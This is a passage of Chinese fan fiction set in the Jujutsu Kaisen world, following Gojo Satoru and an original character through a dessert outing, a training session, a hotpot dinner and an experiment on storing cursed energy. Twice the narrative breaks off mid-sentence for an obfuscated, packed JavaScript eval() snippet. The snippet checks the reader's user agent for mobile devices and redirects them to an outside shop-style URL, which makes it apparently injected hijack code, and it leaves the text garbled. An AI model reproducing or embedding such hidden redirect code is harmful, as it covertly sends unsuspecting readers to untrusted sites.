五条悟笑得肩膀都在抖:“那胡萝卜好吃吗?” “……还行。” “后来呢?” “后来花了半个月才把妖力收回来,胡萝卜慢慢枯萎了。”涂白小声说,“那座山秃了好几个月,第二年才长出新草。” 五条悟还在笑,但笑声渐渐小了。他看着涂白,眼神里有点……羡慕? “你爸妈挺好的。”他说。 “嗯?” “没骂你,还笑了三个月。”五条悟靠在椅背上,“要是我家那些老头子,估计会把我关禁闭关到能完美控制六眼为止。” 涂白愣了下:“六眼很难控制吗?” “难啊。”五条悟随口说,然后顿了顿,像在犹豫要不要说下去。 几秒后,他开口:“我以前,六眼看得太多,信息量太大,脑子处理不过来,经常头疼。疼到睡不着的那种。” 涂白没想到他会说这个,一时不知道该接什么。 “那时候,”五条悟继续说,声音很平静,“是杰——夏油杰,我高专时候的同学——他会给我唱歌。跑调的那种,难听死了。但听着听着,头疼就会好一点,就能睡着。” 他说完,拿起咖啡喝了一口,动作自然得像在说今天天气不错。 但涂白注意到了。 这是五条悟第一次主动提起“夏油杰”这个名字。以前涂白在资料上看到过,知道那是五条悟学生时期的好友,后来叛逃成了诅咒师,最后死了。但他从来没问过,五条悟也从来没提过。 空气安静了几秒。 “他……”涂白小心地问,“唱歌很难听?” “超难听。”五条悟笑了,“但他自己觉得好听,每次都要唱完整首,不让我打断。” “什么歌?” “儿歌。什么《大象》,什么《小狗警察》。”五条悟摇头,“现在想起来还是觉得难听。” 但他说这话的时候,表情很温和。 涂白没再问。他低头吃了一口慕斯,甜味好像比刚才淡了点。 “好了。”五条悟拍拍手,“现在你知道了我的秘密,我也知道了你的。我们算同伙了。” “……谁要跟你同伙。” “不愿意也得愿意。”五条悟理直气壮,“秘密都交换了,就是一条船上的人了。” 涂白想反驳,但不知道怎么反驳。他忽然想到一个问题:“你为什么要跟我说这个?” “哪个?” “夏油杰的事。” 五条悟沉默了一下,然后说:“不知道。可能因为……你看起来不会到处乱说?” “我本来就不会。” “那不就得了。”五条悟笑,“而且你跟我说了胡萝卜山,我总得说点对等的吧。” 这解释有点牵强,但涂白没再追问。 两人继续吃甜品。五条悟又点了两个泡芙,涂白则专注解决芒果慕斯。窗外的行人来来往往,午后的阳光把街道照得发白。 就在涂白准备说“该走了”的时候,门口传来一阵骚动。 “虎杖你别推我——” “是钉崎你先停下来的!” “伏黑你倒是说句话啊!” 涂白转头,看见三个熟悉的身影挤在店门口,正朝里面探头探脑。 粉头发的虎杖悠仁,黑发海胆头的伏黑惠,橘色短发的钉崎野蔷薇。三人都穿着便服,虎杖是运动装,伏黑是黑色卫衣和长裤,钉崎是时髦的短外套和裙子。 他们显然也看到了涂白和五条悟,动作僵住了。 五条悟也转过头,然后笑了:“哟,你们三个在这儿干嘛?” 虎杖第一个反应过来,拉着另外两人走过来:“五条老师!涂白前辈!好巧啊!” “巧?”五条悟挑眉,“跟踪多久了?” “没有跟踪!”虎杖立刻说,“是钉崎拉我们出来逛街,然后我们看到老师你……啊不是,我们就是路过!” 钉崎肘击他:“笨蛋,说漏嘴了!” 伏黑叹了口气,对涂白点点头:“涂白前辈。” “你们好。”涂白有点尴尬。他今天穿得很随便,白色T恤和牛仔裤,头发也没好好梳。 虎杖的眼睛在五条悟和涂白之间来回扫,然后问出了一个直球问题:“老师,你们是在约会吗?” 五条悟:“是。” 涂白:“不是。” 两人同时开口,答案完全相反。 空气凝固了一秒。 虎杖眨眼:“啊?” 涂白瞪了五条悟一眼,然后解释:“不是约会,就是……前辈说要我补偿他昨天的事,所以让我陪他吃甜品。” “昨天的事?”钉崎好奇,“什么事?” “没什么。”五条悟抢先说,“就是小白的哥哥来看他,我招待了一下。” “小白?”虎杖重复。 “涂白前辈的哥哥?”伏黑看向涂白。 涂白想捂脸。 钉崎的重点完全跑偏了:“所以五条老师是在和涂白前辈交往吗?” 这次两人异口同声:“不是。” 涂白说完松了口气,但五条悟说完后,眉头几不可察地皱了一下,像是对自己刚才的回答有点不爽。虽然他也不知道为什么不爽。 “我们只是搭档。”涂白补充,“工作上的。” “还是宠物和饲主的关系哦。”五条悟说。 “才不是!”涂白转头瞪他。 五条悟笑了:“不是吗?那昨天谁说‘我会照顾好你弟弟’的?” “那是……那是……”涂白语塞。 虎杖看看这个,又看看那个,突然笑了:“感觉老师你们关系很好啊!” 伏黑默默点头。钉崎则摸着下巴,眼神在两人之间来回扫,像是在分析什么。 “所以真的没在交往?”钉崎问。 “没有。”涂白坚定地说。 “暂时没有。”五条悟补充。 涂白又瞪他。 虎杖这时候发现了桌上的甜品:“哇!看起来好好吃!老师我可以吃一个吗?” “不行。”五条悟把盘子往自己这边拉了拉,“这是我和小白的。” “小气——” “不过可以再点。”五条悟招手叫服务员,“你们三个,想吃什么自己点,我请客。” “耶!”虎杖欢呼。 钉崎和伏黑也没客气。三人坐下,又点了一堆甜品。桌子顿时变得拥挤起来。 虎杖边吃边问涂白:“涂白前辈,你哥哥也是咒术师吗?” “不是。”涂白说,“他就是异能者。” “那五条老师为什么要招待他?” 涂白语塞。他总不能说“因为我哥怀疑五条悟欺负我所以跑来质问”吧? “因为小白的哥哥很可爱啊。”五条悟替他回答,“哭起来特别有意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123001|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “前辈!” 虎杖和钉崎都笑了。伏黑则安静地吃自己的巧克力蛋糕,偶尔抬头看一眼五条悟和涂白。 话题渐渐转到日常。 “我做的饼干也很好吃。”虎杖说,“下次带点给涂白前辈尝尝。” “好啊。”涂白微笑。 五条悟在旁边听着,没怎么插话,但手很自然地搭在涂白椅背上,形成一个半环抱的姿势。 钉崎注意到了,挑挑眉,但没说话。 甜品吃得差不多了。虎杖摸摸肚子:“好饱……谢谢老师!” “不客气~”五条悟站起来,“账我结了,你们自己玩吧,我和小白还有事。” “什么事?”虎杖好奇。 “秘密。”五条悟眨眨眼。 涂白其实不知道还有什么事,但他也站起来,跟三个学生道别。 走出甜品店,下午的阳光有点刺眼。五条悟戴上墨镜,问涂白:“送你回去?” “……嗯。” 两人并肩走在街上。周末的银座人很多,五条悟很自然地走在外侧,把涂白护在里侧。 走了一段,涂白忍不住问:“你刚才为什么说‘是约会’?” “不是吗?”五条悟反问,“两个人一起吃饭,聊天,交换秘密,不就是约会?” “那是……那是……”涂白找不到反驳的词。 “而且,”五条悟侧头看他,“我说是的时候,你心跳加快了哦。” 涂白僵住:“你怎么知道?” “六眼能看见能量流动。”五条悟笑,“包括心跳引起的微小咒力波动。” “……变态。” “谢谢夸奖~” 涂白不说话了。他确实心跳加快了,在虎杖问是不是约会的时候,在五条悟说“是”的时候。但他自己也不知道为什么。 可能是因为……紧张?怕被误会? 但又好像不只是紧张。 五条悟忽然停下脚步。涂白也跟着停下,抬头看他。 “小白。”五条悟说,声音比平时低,“你真的觉得我们只是搭档?” “……不然呢?” 五条悟没回答。他看了涂白几秒,然后笑了,恢复平时那种懒洋洋的语气:“也是。搭档挺好的。” 他转身继续走。 涂白站在原地,看着他的背影。不知道为什么,他感觉五条悟刚才好像有点……失望? 他追上去。 两人一路没再说话。五条悟送涂白到公寓楼下,涂白说了声“谢谢”,转身要上楼。 “喂。”五条悟叫住他。 涂白回头。 “下周三有任务,特级咒胎,在老地方集合。”五条悟说,“别迟到。” “知道了。” 五条悟看了他一会儿,忽然伸手,揉了揉他的头发:“走了。” 他转身,双手插在口袋里,晃晃悠悠地走了。 涂白站在楼道口,直到五条悟的背影消失在街角,才转身上楼。 他摸着自己的头发,那里还残留着五条悟掌心的温度。 --- 回到公寓,涂白倒在沙发上,盯着天花板发呆。 手机震了一下。是五条悟的消息。 【忘了说,芒果慕斯确实是你最爱。下次还带你去。】 涂白盯着这条消息看了很久,回了个【嗯】。 他又想起五条悟说的那句话。 ——“你真的觉得我们只是搭档?” 不然呢?还能是什么? 涂白翻身,把脸埋在抱枕里。脑子里却不受控制地回放今天的情景:甜品店里五条悟认真的表情,说到夏油杰时温和的语气,还有最后那个有点失望的眼神。 不对。 他摇摇头,想把那些画面甩出去。 就是搭档。只是搭档。 但他摸到自己心跳,还是有点快。 --- 与此同时,五条悟走在回家的路上,戴着耳机。 脑子里也是今天的事。 涂白说起胡萝卜山时尴尬的表情,吃芒果慕斯时满足的样子,还有被问到是不是约会时否认的坚定。 搭档。 宠物。 玩具? 五条悟皱了皱眉。他其实不太喜欢“玩具”这个词。玩具会玩腻,会丢掉。但他对涂白…… 好像不会腻。 不仅不会腻,还想知道更多,想看到更多,想—— 走到一半,他忽然想起虎杖问“你们是在约会吗”时,自己脱口而出的那个“是”。 为什么说是? 他当时没想,就是下意识回答了。 就像后来涂白否认时,他心里那点不爽也是下意识的。 五条悟停下脚步,站在街边,摘下了墨镜。 冰蓝色的眼睛在阳光下显得有点茫然。 他好像……有点搞不懂自己在想什么了。 手机震了,是涂白的消息:【下周任务资料发我一下。】 五条悟看着这条消息,看了很久,然后笑了。 算了,不懂就不懂吧。 反正人还在他身边,就行。 他回:【明天给你。早点睡。】 然后重新戴上墨镜,哼着不成调的歌,晃晃悠悠地回家了。 那个调子,仔细听的话,有点像儿歌《大象》。 11. 第11章:训练日与火锅 周三下午,涂白又收到了五条悟的消息。 【来高专,今天继续实战教学。三点,老地方。】 涂白叹了口气。他本来打算下午去图书馆查资料,写东大的报告。但五条悟的消息后面跟了个表情包——一只兔子被胡萝卜砸中脑袋——他盯着看了几秒,还是回了【好】。 到高专的时候差五分钟三点。训练场里已经有声音了,是虎杖的大嗓门。 “伏黑!左边左边!” “知道了!” 涂白推门进去,看见三个学生正在对练。虎杖和伏黑一组,钉崎单独在另一边练习用锤子精准砸钉子。五条悟坐在场边的长椅上,手里拿着个小本子在写什么。 “哟,挺准时。”五条悟抬头,墨镜滑到鼻梁下,“来,今天继续。” 涂白走过去:“还要当陪练?” “当然~”五条悟合上本子站起来,“今天换规则。你们三个,”他朝学生们喊,“联手,目标是碰到涂白就算赢。碰到一次,这周末作业减半。” 虎杖眼睛一亮:“真的?” “我什么时候骗过你?” 伏黑小声:“经常。” “小惠我听见了哦。” 钉崎走过来,锤子扛在肩上:“涂白前辈,对不住啦,作业太多了。” 涂白无奈地看向五条悟:“前辈……” “去吧去吧。”五条悟推他后背,“让我看看你最近进步没有。” 涂白被推到场地中央。三个学生散开,虎杖在正面,伏黑绕到左侧,钉崎在右后方。气氛比上次更紧张——毕竟关系到作业。 “开始!”五条悟喊。 虎杖第一个冲过来,速度比上次还快。涂白双手一合,银色光芒涌出,在面前构筑出三层交错的金属栅栏。 虎杖的拳头砸在栅栏上,“哐”一声巨响,栅栏变形但没破。他愣了一下,涂白已经借机后撤,同时左手向地面一按——无数藤蔓状的银色锁链从地面冒出,缠向虎杖的脚踝。 “哇!”虎杖跳起来躲开。 伏黑在这时动了。他没有召唤式神,而是直接用影子延伸过来,像黑色的潮水一样漫过地面,试图缠住涂白的影子。 涂白抬脚,在脚下构筑出一个圆盘,把自己托起半米高,脱离地面。影子攻击落空。 “钉崎!”伏黑喊。 钉崎从右侧突袭,锤子带着风声砸过来。涂白侧身,右手构筑出一面小圆盾挡住锤击,左手同时向钉崎脚下一点——一个小型沼泽陷阱瞬间形成。 钉崎反应快,锤子往地上一砸,借力后跳,但鞋底还是沾上了银色黏液。 “啧!”她甩脚。 五条悟在场边看着,手里不知什么时候又拿出了那个小本子,边看边记。墨镜后的眼睛微微发亮。 “左后方三十度,锁链。”他忽然开口。 涂白一愣,但身体先于大脑反应,左手向后一挥,银色锁链射出,正好缠住试图从背后偷袭的虎杖的手腕。 “哇!老师你作弊!”虎杖喊。 “这是教学指导~”五条悟笑,“右上方,网。” 涂白抬头,右手向上一推,一张银色大网在空中展开,罩向从影子里跃出的伏黑。伏黑被迫后退。 “对,就是这样~”五条悟满意地点头。 涂白渐渐进入状态。构筑速度越来越快,从防御到反击的转换几乎无缝衔接。虎杖的猛攻、伏黑的诡变、钉崎的精准,三人的配合其实很好,但涂白总能在关键时刻用构筑物化解。 打了快十分钟,三人都有些喘,但还没碰到涂白。 钉崎忽然停了。她把锤子拄在地上,喘了口气,然后看向伏黑和虎杖,使了个眼色。 两人点头。 下一秒,钉崎突然举起锤子,不是砸向涂白,而是狠狠砸向地面。 “轰!” 训练场的地面剧烈震动起来。不是真的地震,是钉崎用咒力强化了锤击,制造出强烈的冲击波。 涂白脚下一晃,平衡瞬间被打破。他下意识想后退稳住身体,但脚还没动—— 一只手从背后扶住了他的腰。 温热,有力。 五条悟不知什么时候出现在他身后,单手揽着他的腰,稳住了他摇晃的身体。 “平衡感不行啊,小兔子。”五条悟的声音在耳边响起,很近,呼吸喷在耳廓上。 涂白僵住了。 他能感觉到五条悟手掌的温度透过衣服传到皮肤上,能感觉到背后紧贴着的胸膛,甚至能闻到五条悟身上淡淡的皂角香和一点点甜品的甜味。 太近了。 “老、老师!”虎杖喊,“这算犯规吧!” 五条悟松开手,但手指在涂白腰侧轻轻挠了一下才完全离开。涂白浑身一抖,耳根瞬间红了。 “怎么犯规了?”五条悟走回场边,一脸无辜,“我是裁判,裁判进场检查选手安全,有问题吗?” “明明就是帮涂白前辈!”钉崎吐槽。 “有证据吗?”五条悟笑,“没有就继续。” 但涂白已经没法继续了。他脑子有点乱,腰侧被挠过的地方还在发麻。他深吸一口气,勉强集中精神。 最后两分钟,涂白构筑出一个巨大的迷宫结界,把三个学生困在里面,直到时间结束也没让他们出来。 “停——”五条悟拖长声音,“时间到。平局。” 银色迷宫消散。虎杖一屁股坐在地上:“累死了……” 伏黑也喘着气,但看向涂白的眼神多了些佩服:“涂白前辈,厉害。” 钉崎擦着汗:“差点就碰到了……都怪五条老师捣乱。” “我没有~”五条悟走过来,很自然地拍了拍涂白的肩,“表现不错。构筑速度比上周快了百分之十五,精度也提高了。” “……谢谢。”涂白小声说,耳朵还红着。 “为了庆祝平局,”虎杖突然举手,“我们去吃火锅吧!我知道附近新开了一家,学生证打八折!” 伏黑:“你又想蹭饭。” “五条老师请客!”虎杖看向五条悟,眼睛闪闪发亮,“老师你刚才干扰比赛了,要补偿我们!” 五条悟挑眉,然后笑了:“行啊。小白也一起?” 涂白想拒绝,但虎杖已经扑过来抓住他手臂:“涂白前辈一定要来!我们还没好好聊过天呢!” 钉崎也点头:“就是,上次在甜品店都没说几句话。” 涂白看向五条悟,五条悟耸耸肩:“去呗,反正晚饭也要吃。” “……好吧。” --- 火锅店离高专不远,步行十分钟。店面不大,但很干净,这个时间人还不多。 五个人要了个包厢。虎杖兴奋地翻菜单:“我要辣锅!超辣那种!” “我也要辣的。”钉崎说。 伏黑:“……我清汤。” 五条悟看向涂白:“你呢?” “我……”涂白犹豫。他其实能吃一点辣,但不太喜欢。 “他要清汤。”五条悟替他回答了,然后对服务员说,“一个辣锅一个清汤,辣锅放那边,”他指了指虎杖和钉崎,“清汤放这边。” 涂白愣了下:“前辈你怎么……” “上次在京都,你吃辣的时候皱眉了。”五条悟说得理所当然,“而且你哥说你胃不太好,少吃刺激的。” “……哦。”涂白低头看菜单,耳朵又有点热。 菜上得很快。虎杖热情地给每个人夹肉,轮到涂白时,他夹了一大筷子辣锅里的牛肉:“涂白前辈尝尝这个!超好吃!” 筷子还没落到涂白碗里,就被另一双筷子截胡了。 五条悟把那块肉夹到自己碗里,然后从清汤锅里捞了片肉放到涂白碗里:“他吃不了辣。” 虎杖眨眨眼:“诶?涂白前辈不能吃辣吗?” “能吃点,但不喜欢。”五条悟说,“对吧?” “……嗯。”涂白小声应道。 钉崎看着这个互动,挑眉:“五条老师,你知道得挺清楚啊。” “观察力是教师的基本素养~”五条悟笑,又给涂白夹了块豆腐,“这个煮好了,吃吧。” 伏黑默默吃自己的菜,但眼睛在五条悟和涂白之间扫了一下。 火锅吃到一半,话题渐渐聊开。虎杖和伏黑说起最近的任务,钉崎则抱怨咒具保养太麻烦。 “说到咒具,”钉崎看向涂白,“涂白前辈的构筑术式能不能做咒具啊?比如那种可以重复使用的?” “理论上可以。”涂白说,“但需要很精细的控制,而且维持要持续消耗妖——咒力。” 他差点说漏嘴,赶紧改口。 “那如果做出来了,”钉崎眼睛发亮,“能卖吗?我想订做个特别的锤子!” “钉崎,不要给前辈添麻烦。”伏黑说。 “问问嘛!” 涂白笑了:“我可以试试看。你想要什么样的?” …… 聊着聊着,话题不知怎么转到了恋爱上。钉崎问虎杖有没有喜欢的人,虎杖摇头说没有,伏黑更是一脸“别问我”的表情。 “五条老师呢?”钉崎突然问。 五条悟正在捞虾滑,闻言抬头:“我什么?” “有喜欢的人吗?”钉崎直球出击。 涂白心跳莫名快了一拍。他低头吃菜,但耳朵竖起来了。 五条悟想了想,说:“有啊。” “谁?”虎杖凑过来。 “喜久福。” “……老师!” 五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123002|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条悟笑:“开个玩笑~”他把虾滑放到涂白碗里,“认真说的话,没有。谈恋爱多麻烦,要约会,要哄人,要记得各种纪念日……我记任务时间都记不过来。” 涂白看着碗里的虾滑,没说话。 “那涂白前辈呢?”虎杖转头问。 “我也没有。”涂白说,然后补充,“没时间。” “也是,前辈又要上学又要出任务。”虎杖理解地点头,“不过前辈这么好看,肯定很多人追吧?” 涂白差点呛到:“……没有。” “怎么可能!黑发红眼,长得又这么好看,个子也挺高——”虎杖掰着手指头数。 “吃你的肉。”五条悟夹了块肉塞进虎杖嘴里,堵住他的话。 虎杖“呜呜”两声,老实了。 这顿饭吃了快两小时。结束时天已经黑了。学生们要回高专宿舍,五条悟说送涂白回去。 “老师再见!涂白前辈再见!”虎杖挥手。 伏黑点头致意。 钉崎走在最后,经过涂白身边时,飞快地往他手里塞了张纸条,小声说:“回去再看。” 涂白愣了下,把纸条攥在手心。 五条悟叫了辆车。上车后,涂白靠着车窗,看着外面闪过的路灯。一天训练加一顿火锅,他累得眼皮发沉。 “困了就睡。”五条悟说。 “没困……”涂白嘴硬,但声音已经有点含糊了。 五条悟笑,伸手把他的头按在自己肩上:“睡吧,到了叫你。” 涂白僵了一下。肩膀很宽,很稳,温度透过衣服传来。他想说“不用”,但太困了,脑子转不动。 他闭上眼,真的睡着了。 五条悟侧头看他。涂白睡得很沉,睫毛在眼下投出小小的阴影,嘴唇微微张着。黑色的卷发蹭在五条悟颈侧,有点痒。 五条悟看了很久,然后转回头,看向窗外。 司机从后视镜瞥了一眼,笑了:“你弟弟?” “不是。”五条悟说,顿了顿,补充,“朋友。” “感情真好。” 五条悟没说话。 车开到涂白公寓楼下。五条悟轻轻摇他:“小白,到了。” 涂白迷迷糊糊睁眼,发现自己靠在五条悟肩上,赶紧坐直:“……抱歉。” “没事。”五条悟付了车钱,下车送他到楼道口,“明天有课?” “上午有。” “那早点睡。”五条悟揉他头发,“下周任务我发你了,记得看。” “……嗯。” 涂白转身上楼。走到一半,他想起钉崎给的纸条,掏出来看。 纸条上只有一句话,字迹潦草: 【五条老师看你的眼神不对劲,小心!】 涂白愣住。 什么眼神?哪里不对劲? 他回想今天五条悟的样子——指导训练时的认真,火锅桌上替他挡辣锅的肉,车上让他靠肩睡觉…… 好像……是有点太照顾了? 但五条悟对虎杖他们不也挺照顾的吗?虽然方式不一样。 涂白摇摇头,把纸条塞回口袋。可能钉崎想多了。 他开门进屋,倒在沙发上。手机震了一下,是五条悟的消息: 【到了。晚安。】 涂白盯着这条消息看了几秒,回:【晚安。】 然后他盯着天花板,脑子里又浮现出训练场上五条悟扶他腰的画面,还有车上靠着的肩膀。 他抬手摸了摸自己的腰侧,那里好像还残留着被挠了一下的触感。 耳朵又开始发烫。 涂白翻了个身,把脸埋进抱枕里。 睡觉。明天还要上课。 --- 另一边,五条悟回到家,洗完澡出来,看见沙发上那个Q版涂白玩偶。他拿起来,捏了捏玩偶的小脸。 今天训练的时候,涂白构筑术式的样子确实很好看。专注,认真,银色的妖力流转时像某种艺术。 五条悟笑了。 他把玩偶放回沙发,拿起手机,翻到今天拍的照片——训练场上的涂白,火锅店里的涂白,睡着的涂白。 看了一会儿,他点开涂白的聊天窗口,打了几个字,又删掉。 最后只发了句:【下周任务别迟到。】 等了几分钟,没回复。应该是睡了。 五条悟放下手机,躺到床上,盯着天花板。 钉崎那丫头今天看他的眼神,他注意到了。还有她塞纸条的小动作。 “眼神不对劲”? 哪里不对劲了? 五条悟闭上眼。 不就是觉得这只兔子挺有趣,想多看看,多逗逗,多照顾一点吗? 有什么不对劲的。 他翻了个身,睡了。 12. 第12章:有趣?不,是珍贵! 周五下午,涂白没课。他本来打算在家补觉,但上午十点,门被敲响了。 开门一看,五条悟站在外面,手里拎着两个大纸袋,一个装满了喜久福,另一个……好像是实验器材? “前辈?”涂白愣住,“你怎么来了?” “来做实验。”五条悟很自然地挤进门,把纸袋放在餐桌上,“我想到个有趣的课题,需要你帮忙。” 涂白关上门,走过去看。纸袋里确实是实验器材:几个玻璃容器、测量仪、还有一些他不认识的咒具零件。 “什么课题?” “试试构筑能储存咒力的东西。”五条悟从袋子里拿出一个笔记本,翻开,上面画满了复杂的能量流动图,“你看,咒术师的咒力是用一点少一点,需要时间恢复。如果能储存起来,关键时候用……” 他眼睛发亮:“战术意义很大。” 涂白皱眉:“但我的构筑术式只能构筑有形的东西。咒力是能量,无形无质。” “所以才需要研究啊。”五条悟拉过椅子坐下,拍拍旁边的位置,“来,试试。” 涂白坐下,看着桌上的器材,有点犹豫:“我没做过这种……” “所以才叫实验嘛。”五条悟推给他一个空的玻璃容器,“先用这个当模板,试着构筑一个‘容器’,看看能不能装咒力。” 涂白深吸一口气,集中精神。银色妖力从掌心涌出,包裹住玻璃容器。几秒后,一个一模一样的玻璃容器出现在旁边——由妖力构筑而成,半透明,表面流转着细微的银色纹路。 “好了。”涂白说。 五条悟伸手,指尖凝聚出一小团蓝色的咒力——是“苍”的颜色,但压缩到极小。他把咒力团放进构筑出的容器里。 咒力团在容器里晃了晃,然后……消散了。像水渗进沙子一样,很快就没了。 “失败。”五条悟说,“构筑物的结构留不住咒力。” 涂白并不意外:“妖力和咒力本质不同,我的构筑物是用妖力做的,对咒力没有亲和性。” “那就换个思路。”五条悟合上笔记本,站起来走到涂白身后,“别想着‘构筑一个容器’,想着‘构筑一个能容纳能量的结构’。” 他弯腰,从背后握住涂白的手。 涂白僵住。 五条悟的手很大,掌心温热,完全包住了他的手。下巴几乎抵在涂白头顶,说话时呼吸喷在发旋上。 “闭上眼睛。”五条悟说,“感受我的咒力。” 涂白闭上眼。他能感觉到五条悟的咒力从相触的手掌传来,冰凉,锐利,像流动的冰水。 “你的妖力很柔,像……温水。”五条悟低声说,“试着用妖力模拟咒力的‘流动感’。别照搬结构,模仿那种感觉。想象你的妖力是水,但要让它有冰水的流动方式……” 涂白尝试着。他调动妖力,让它从温润变得……不那么温润。他想象着五条悟的咒力在体内流动的样子——快速,直接,带着某种锋利的质感。 银色妖力在掌心聚集,但这次,光芒比平时更亮,更锐利。 “对,就是这样。”五条悟握紧他的手,“再快一点。让妖力‘流动’起来,而不是‘凝聚’。” 涂白咬牙,额头冒汗。他从未这样操控过妖力。妖族的力量讲究自然、平和,但现在他却在强行改变它的性质。 掌心的银光开始旋转,像个小漩涡。漩涡中心,有什么东西在凝聚。 “保持住。”五条悟的声音很近,“现在,用这个漩涡做‘模具’,构筑一个能留住能量的‘壳’。” 涂白脑子飞快运转。他想象着漩涡的形状,想象着能量在其中旋转的样子。然后,他用妖力在漩涡外围构筑——不是实心的壳,而是无数细小的、交织的网格,像蜂巢,又像神经网络。 银色网格在漩涡外围成型,包裹住旋转的妖力。 “好。”五条悟松开一只手,但另一只手还握着涂白的手腕,“现在,我把咒力注入进去。你稳住结构。” 涂白点头,眼睛还闭着。 五条悟的指尖再次凝聚出一小团蓝色咒力。这次更小,但更凝实。他把咒力缓缓注入银色的网格漩涡中。 咒力进入的瞬间,涂白感觉到剧烈的排斥反应。妖力和咒力像水和油,拼命想把对方挤出去。网格结构剧烈晃动,差点崩散。 “稳住!”五条悟的手用力,“想象它们不是对立的,是……互补的。冰和水都是水,只是状态不同。” 冰和水…… 涂白咬牙,强行改变妖力的性质——让它变得更“冷”,更接近咒力的质感。同时,他调整网格结构,让网眼变得更小,更密。 蓝色的咒力在银色网格中旋转,速度慢下来,但……没有消散。 它被困住了。 涂白睁开眼。 掌心上方,悬浮着一个指甲盖大小的晶体。半透明,内部是旋转的蓝色光点,外围包裹着银色的网格纹路。它在缓缓转动,散发着柔和的光芒。 “成了。”五条悟说,声音里带着罕见的兴奋。 两人盯着那个小晶体,看了好几秒。 五条悟伸手,小心翼翼地把晶体捏起来。它很轻,几乎没有重量。蓝色的光点在银色网格中流动,像被困住的星星。 “能储存多久?”涂白问。 “试试看。”五条悟把晶体放在测量仪上。仪器显示,能量在缓慢流失,但速度很慢。按这个速度,大概能维持……三天? “三天。”五条悟念出数字,然后笑了,“小白,你知道这意味着什么吗?” “……意味着咒术师可以把多余的咒力存起来?” “不止。”五条悟放下晶体,转头看他,冰蓝色的眼睛在墨镜后闪闪发亮,“这意味着咒术界的能源模式可能被彻底改变。想象一下:一级术师平时储存咒力,关键时刻能爆发出接近特级的威力;辅助监督可以随身携带‘电池’,在野外也能维持结界;甚至普通人……如果有安全的使用方法,也许普通人也能借助储存的咒力自保。” 他说得很快,语气兴奋。涂白从没见过他这样——不是平时那种懒洋洋的、觉得有趣的笑,而是真正因为发现了新可能而兴奋。 涂白被感染了,也笑起来:“那……我们要多做几个试试?” “当然!”五条悟重新坐下,翻开笔记本,“这次试试不同的结构。你刚才的网格是六边形的,试试三角形?或者五边形?还有网格的大小、密度……” 两人投入到实验中。五条悟提出各种构想,涂白尝试构筑。有时候成功,有时候失败。桌上很快堆满了各种形状的小晶体:有的能储存咒力但很快流失,有的结构不稳直接崩散,有的甚至把咒力转化成了奇怪的形式——有一个晶体发出粉红色的光,两人研究了半天也不知道为什么。 “这个留着。”五条悟把粉红色晶体单独放到一边,“说不定以后有用。” 实验一直持续到晚上。窗外天黑了,两人都没注意到。桌上摊满了图纸、器材和成功或失败的晶体。五条悟在笔记本上飞快记录,涂白则专注于构筑——他构筑晶体的速度越来越快,精度也越来越高。 “休息会儿。”五条悟突然说,“你脸色有点白。” 涂白这才感觉到疲惫。妖力消耗很大,他头有点晕。 “吃个喜久福。”五条悟从纸袋里拿出一个,递过来。 涂白接过,咬了一口。甜味在嘴里化开,稍微缓解了疲惫。 “前辈,”他问,“你为什么要研究这个?” 五条悟正在摆弄一个刚做好的晶体,闻言抬头:“嗯?” “储存咒力的技术……就算研究出来,对你个人也没什么用吧?”涂白说,“你咒力那么多,根本用不完。” 五条悟沉默了几秒。 “是没用。”他说,“但其他人有用。” 涂白愣住。 “咒术界现在这样……太依赖天赋了。”五条悟转着手里的晶体,蓝色光芒在他脸上投下晃动的影子,“有天赋的人累死,没天赋的人等死。如果能普及这种技术,至少能让底层术师多一点生存的机会。” 他说得很随意,但涂白听出了里面的认真。 他忽然想起哥哥涂宝说过的话——“那种高高在上的特级咒术师,肯定看不起我们这种……” 但五条悟好像……不是那样。 “怎么了?”五条悟看他发呆。 “……没什么。”涂白低头吃喜久福,“就是觉得,前辈比我想的……更像个老师。” 五条悟笑了:“我本 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动作很轻,怕吵醒他。 然后他的手停在涂白的头发上,没有移开。指腹轻轻梳理着那些黑色的卷发,触感柔软。 “你比我想的还有意思……”五条悟低声说,声音轻得几乎听不见,“不。” 他顿了顿,改口。 “是珍贵。” 涂白在睡梦中动了动,无意识地蹭了蹭他的手,像只找到舒服位置的猫。 五条悟笑了。 他收回手,站起来,走到窗边。窗外是东京的夜景,灯火通明。 桌上,那些成功构筑的晶体在黑暗中散发着微弱的光芒,蓝色和银色交织。 五条悟拿出手机,拍了张照片——不是拍晶体,是拍沙发上睡着的涂白。然后他调出聊天窗口,想发给谁,但又停住了。 算了。 他收起手机,走回沙发边,又看了涂白一会儿。 “好好睡。”他说,然后转身,轻手轻脚地离开了公寓。 门关上时发出轻微的咔哒声。 涂白在睡梦中皱了皱眉,但没醒。 他梦见自己在一片银色的光芒里,手里握着蓝色的星星。星星很温暖,像某个人的手。 --- 第二天早上,涂白在沙发上醒来,身上盖着毯子。 他坐起来,脑子还有点懵。昨晚的记忆慢慢回笼——实验,晶体,然后……他睡着了? 谁给他盖的毯子? 涂白看向餐桌,那里已经收拾干净了。器材不见了,图纸和笔记本也不见了。但桌上留着一张纸条,旁边放着一个小盒子。 他走过去,拿起纸条。 是五条悟的字,龙飞凤舞: 【晶体我带回去分析了。盒子里是昨晚最成功的三个,你留着玩。下周一继续实验。记得吃早饭。】 涂白打开盒子。里面铺着软垫,三个晶体并排躺着:一个蓝色,一个银色,还有一个……粉红色? 